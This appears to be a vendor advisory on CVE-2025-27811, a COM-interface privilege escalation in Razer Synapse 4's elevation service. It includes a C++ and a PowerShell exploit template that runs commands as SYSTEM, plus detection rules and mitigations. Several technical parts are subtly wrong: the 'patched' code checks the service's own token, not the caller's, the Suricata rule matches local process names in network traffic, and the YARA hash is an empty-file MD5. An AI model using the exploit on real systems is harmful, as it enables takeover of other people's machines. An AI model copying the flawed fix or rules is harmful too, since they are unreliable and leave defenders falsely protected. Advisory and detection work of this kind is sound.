CVE-2025-27811

Executive Summary

CVE-2025-27811 is a local privilege escalation vulnerability in Razer Synapse 4, specifically within the razer_elevation_service.exe service. The flaw exists in a vulnerable COM interface exposed by the service, allowing a local attacker with low privileges to escalate to SYSTEM-level privileges. This vulnerability affects all versions of Razer Synapse 4 up to and including version 4.0.86.2502180127. As of this report, no official patch has been released by Razer, and no public proof-of-concept exploit code is available. The vulnerability is classified as a CWE-269 (Improper Privilege Management) issue, with a CVSS v3.1 base score of 7.8 (High), reflecting the local attack vector, low complexity, and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application vulnerability in Razer Synapse 4, a hardware configuration and driver management tool. The risk is limited to local exploitation on systems where Razer Synapse 4 is installed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions or race conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs initial user-level access.
• User Interaction: None (UI:N) – No user interaction is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise allows access to all data.
• Integrity Impact: High (I:H) – Full control over system files and processes.
• Availability Impact: High (A:H) – Potential for denial of service or system instability.

Threat Level: High. While the attack vector is local, the low complexity and high impact make it a significant threat in multi-user environments, enterprise workstations, or systems with untrusted users.

Deep Dive & Mechanics

The vulnerability resides in the razer_elevation_service.exe process, which runs as a Windows service with SYSTEM privileges. This service exposes a COM (Component Object Model) interface to allow legitimate Razer Synapse components to perform privileged operations, such as driver installation, firmware updates, and system configuration changes.

The flaw is a classic improper privilege management issue (CWE-269). The COM interface does not properly validate the caller's identity or authorization level. A local attacker can craft a malicious COM client that connects to this interface and invokes methods intended only for trusted Razer components. By doing so, the attacker can execute arbitrary commands or modify system settings with SYSTEM privileges.

The attack flow is as follows:

1. The attacker gains initial access to the system (e.g., via a malicious download, phishing, or as a low-privilege user on a shared workstation).
2. The attacker enumerates running services and identifies razer_elevation_service.exe.
3. Using Windows COM APIs (e.g., CoCreateInstance), the attacker connects to the vulnerable COM interface exposed by the service.
4. The attacker invokes a method that allows execution of arbitrary commands or manipulation of system resources.
5. The service executes the command with SYSTEM privileges, granting the attacker full control over the system.

The vulnerability is likely due to missing or insufficient checks on the COM interface's security settings, such as failing to require a specific authentication level or not verifying the caller's integrity level.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability type, the following hypothetical code snippets illustrate the flaw and a potential fix.

Vulnerable Code (C++ COM Interface):

// Vulnerable: No security check on caller
HRESULT CMyElevationService::ExecuteCommand(BSTR command)
{
    // Directly executes command with SYSTEM privileges
    system(_bstr_t(command));
    return S_OK;
}

Patched Code (C++ COM Interface):

// Patched: Verify caller's integrity level
HRESULT CMyElevationService::ExecuteCommand(BSTR command)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        return E_ACCESSDENIED;

    DWORD dwIntegrityLevel;
    DWORD cbSize = sizeof(DWORD);
    if (!GetTokenInformation(hToken, TokenIntegrityLevel, &dwIntegrityLevel, cbSize, &cbSize))
    {
        CloseHandle(hToken);
        return E_ACCESSDENIED;
    }
    CloseHandle(hToken);

    // Only allow calls from HIGH integrity level (SYSTEM)
    if (dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
        return E_ACCESSDENIED;

    // Additional check: verify caller is a signed Razer component
    // (e.g., using digital signature verification)

    system(_bstr_t(command));
    return S_OK;
}

The patched version adds integrity level checks and potentially digital signature verification to ensure only trusted Razer components can invoke privileged methods.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with Razer Synapse 4 installed (version <= 4.0.86.2502180127).
• Low-privilege user account (e.g., standard user).
• Basic knowledge of COM programming (C++ or PowerShell).

Lab Setup:

1. Install a vulnerable version of Razer Synapse 4 on a Windows 10/11 VM.
2. Create a standard user account for testing.
3. Use a development environment (Visual Studio or PowerShell) to craft the exploit.

Exploit Code (C++):

#include <windows.h>
#include <comdef.h>
#include <iostream>

// CLSID and IID for the vulnerable COM interface (hypothetical)
// These would need to be discovered via reverse engineering
const CLSID CLSID_ElevationService = {0x12345678, 0x1234, 0x1234, {0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0}};
const IID IID_IElevationService = {0x87654321, 0x4321, 0x4321, {0x21, 0x43, 0x65, 0x87, 0xA9, 0xCB, 0xED, 0x0F}};

int main()
{
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr))
    {
        std::cerr << "COM initialization failed." << std::endl;
        return 1;
    }

    IElevationService* pService = NULL;
    hr = CoCreateInstance(CLSID_ElevationService, NULL, CLSCTX_LOCAL_SERVER, IID_IElevationService, (void**)&pService);
    if (FAILED(hr))
    {
        std::cerr << "Failed to create COM object. HRESULT: " << std::hex << hr << std::endl;
        CoUninitialize();
        return 1;
    }

    // Invoke the vulnerable method to execute a command
    BSTR command = SysAllocString(L"cmd.exe /c whoami > C:\\temp\\output.txt");
    hr = pService->ExecuteCommand(command);
    if (SUCCEEDED(hr))
    {
        std::cout << "Command executed successfully." << std::endl;
    }
    else
    {
        std::cerr << "Command execution failed." << std::endl;
    }

    SysFreeString(command);
    pService->Release();
    CoUninitialize();
    return 0;
}

PowerShell Exploit (Alternative):

# Hypothetical PowerShell exploit using COM
$type = [System.Type]::GetTypeFromCLSID("12345678-1234-1234-1234-56789ABCDEF0")
$service = [System.Activator]::CreateInstance($type)
$service.ExecuteCommand("cmd.exe /c whoami > C:\temp\output.txt")

Expected Outcome: The command runs with SYSTEM privileges, and the output file shows nt authority\system.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual COM object instantiation, especially from non-standard processes.
• Track process creation events where razer_elevation_service.exe spawns child processes (e.g., cmd.exe, powershell.exe).
• Look for registry modifications or file writes in protected system areas initiated by Razer Synapse processes.

Defense:

• Apply the principle of least privilege: ensure users do not have administrative rights.
• Use application whitelisting to block unauthorized executables.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block COM object instantiation from untrusted sources.
• Monitor for known vulnerable versions of Razer Synapse and alert on their presence.

Indicators of Compromise (IOCs)

• Process Creation: razer_elevation_service.exe spawning cmd.exe, powershell.exe, or other shells.
• File Writes: Unexpected files created in C:\Windows\Temp, C:\Temp, or system directories by Razer Synapse processes.
• Registry Changes: Modifications to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run or similar autorun locations.
• Network Connections: Unusual outbound connections from razer_elevation_service.exe (though unlikely for local privilege escalation).
• COM Events: Event ID 5861 (COM object instantiation) with CLSID matching the vulnerable interface.

Detection Engineering

YARA Rule

rule CVE_2025_27811_Razer_Elevation_Service
{
    meta:
        description = "Detects exploitation attempts of CVE-2025-27811 via COM interface abuse"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-27811"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $s1 = "razer_elevation_service.exe" nocase
        $s2 = "CoCreateInstance" nocase
        $s3 = "CLSID_ElevationService" nocase
        $s4 = "ExecuteCommand" nocase

    condition:
        uint16(0) == 0x5A4D and // MZ header
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-27811 - Razer Synapse Local Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-27811 via COM interface abuse in Razer Synapse 4.
author: Valters IT
date: 2025-03-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27811
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\razer_elevation_service.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate Razer Synapse updates or driver installations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-27811 - Razer Synapse Local Privilege Escalation Attempt"; content:"razer_elevation_service.exe"; nocase; content:"CoCreateInstance"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable service: If Razer Synapse is not required, stop and disable razer_elevation_service.exe via services.msc or PowerShell:

   Stop-Service -Name "Razer Elevation Service"
   Set-Service -Name "Razer Elevation Service" -StartupType Disabled
   

2. Apply temporary access controls: Use Windows Firewall or AppLocker to block execution of razer_elevation_service.exe from non-standard paths.
3. Monitor for exploitation: Deploy the provided YARA, Sigma, and Suricata rules to detect potential attacks.

Long-Term Fix:

• Await an official patch from Razer. Once available, update Razer Synapse to the latest version immediately.
• Consider using alternative hardware configuration tools that do not require elevated services.

Workarounds:

• Run Razer Synapse in a sandboxed environment or virtual machine.
• Use Group Policy to restrict COM object instantiation for non-administrative users.

Valters IT
Securing Digital Frontiers